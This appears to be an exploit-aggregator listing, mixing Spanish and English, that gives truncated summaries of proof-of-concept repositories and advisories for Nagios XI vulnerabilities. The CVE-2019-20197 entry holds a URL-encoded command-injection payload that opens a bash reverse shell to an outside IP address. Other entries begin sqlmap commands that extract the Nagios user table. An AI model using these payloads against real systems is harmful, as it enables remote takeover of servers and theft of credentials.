Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC en Python para el CVE-2019-15949 Resumen Existe una vulnerabilidad en Nagios XI = 5.6.5 que permite a un atacante aprovechar un RCE para escalar privilegios a root. El exploit requiere acceso al servidor como el usuario 'nagios', o acceso CCM a través de la...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

CVE-2023-48084

CVE-2023-48084 Exploit en Python para CVE-2023-48084 - Se descubrió que Nagios XI anterior a la versión 5.11.3 contenía una vulnerabilidad de inyección SQL a través de la herramienta de modificación masiva. El exploit utiliza /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Errores reportados a Nagios XI CVE-2021-25296 Ubicación del código /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Fragmento de código root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen;...

CVE-2024-24401

Informe de Vulnerabilidad CVE Descubierto DISEÑADO PARA EJECUTARSE EN KALI LINUX Notas Nagios ha parcheado la versión 2024R1.0.1 en todas las descargas recientes. Para determinar si un objetivo es vulnerable, asegúrese de que esté utilizando una descarga anterior de 2024R1.0.1. El script...

CVE-2019-20197

CVE-2019-20197 Vulnerabilidad de ejecución remota de comandos en Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

CVE-2024-33775

CVE descubierto por: K. Wahab NeoX Detalles de la vulnerabilidad: Producto: Nagios XI Versión 2024R1.01 Vulnerabilidad: Escalada de privilegios desde los usuarios "NAGIOS" o "APACHE" Resultado: Acceso root completo en el sistema objetivo CVE: https://vulners.com/cve/CVE-2024-33775 Exploit: En est...

CVE-2024-24402

Informe de Vulnerabilidad CVE descubierto por: Jarod Jaslow MAWK Detalles de la Vulnerabilidad: Endpoint: Nagios XI Versión 2024R1.01 Tipo de Vulnerabilidad: Escalada de Privilegios desde el Usuario "NAGIOS" Resultado de la Explotación: Acceso root completo en el sistema objetivo Pasos para...

CVE-2024-24401

Informe de Vulnerabilidad CVE descubierto por: Jarod Jaslow MAWK DISEÑADO PARA EJECUTARSE EN KALI LINUX Notas Nagios ha parcheado la versión 2024R1.0.1 en todas las descargas recientes. Para determinar si un objetivo es vulnerable, asegúrese de que esté utilizando una descarga anterior de...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Inyección de Comandos Autenticada en Nagios XI Configuration Wizard Repositorio simple de prueba de concepto para CVE-2025-34227, una inyección de comandos autenticada en Nagios XI - Configuration Wizard Análisis completo aquí:...

CVE-2025-61299_POC

CVE-2025-61299POC Authenticated Command Injection in Nagios XI 2024R1 CVE-2025-61299...

CVE-2023-48084-Revised

CVE-2023-48084 — PoC actualizado Repositorio: MettHK/CVE-2023-48084-Revised Versión actualizada de Hamibubu/CVE-2023-48084 con multihilo, extracción mediante búsqueda binaria y opciones de línea de comandos para seleccionar base de datos / tabla / columna. No es el repositorio original. Este es u...

Nagios-XI-s-CVE-2023-40931-Exploit

Este repositorio no tiene un README...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit Resumen Existe una vulnerabilidad en Nagios XI = 5.6.5 que permite a un atacante aprovechar un RCE para escalar privilegios a root. El exploit requiere acceso al servidor como el usuario 'nagios', o acceso CCM a través de la interfaz web con permisos para administrar plugins...

CVE-2023-40933-PoC

CVE-2023-40933 El payload de sqlmap para explotar CVE-2023-40933 Payload Información requerida: Nombre de usuario y contraseña válidos Dominio y ruta de la instancia alojada root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2023-40931-PoC

CVE-2023-40931 El payload de sqlmap para explotar CVE-2023-40931 Payload Información requerida: Nombre de usuario y contraseña válidos Dominio y ruta de la instancia alojada root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2019-20197

Vulnerabilidad de ejecución remota de comandos en Nagios XI CVE-2019-20197 PoC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2023-47400

CVE-2023-47400 Prueba de concepto para CVE-2023-47400 Ejecución remota de código PHP autenticada mediante escritura arbitraria de archivos en Nagios XI 5.11.0 !Note Este PoC se basa en el aviso técnico publicado por NCC Group...

CVE-2026-48549

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...

UBUNTU-CVE-2026-48549

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...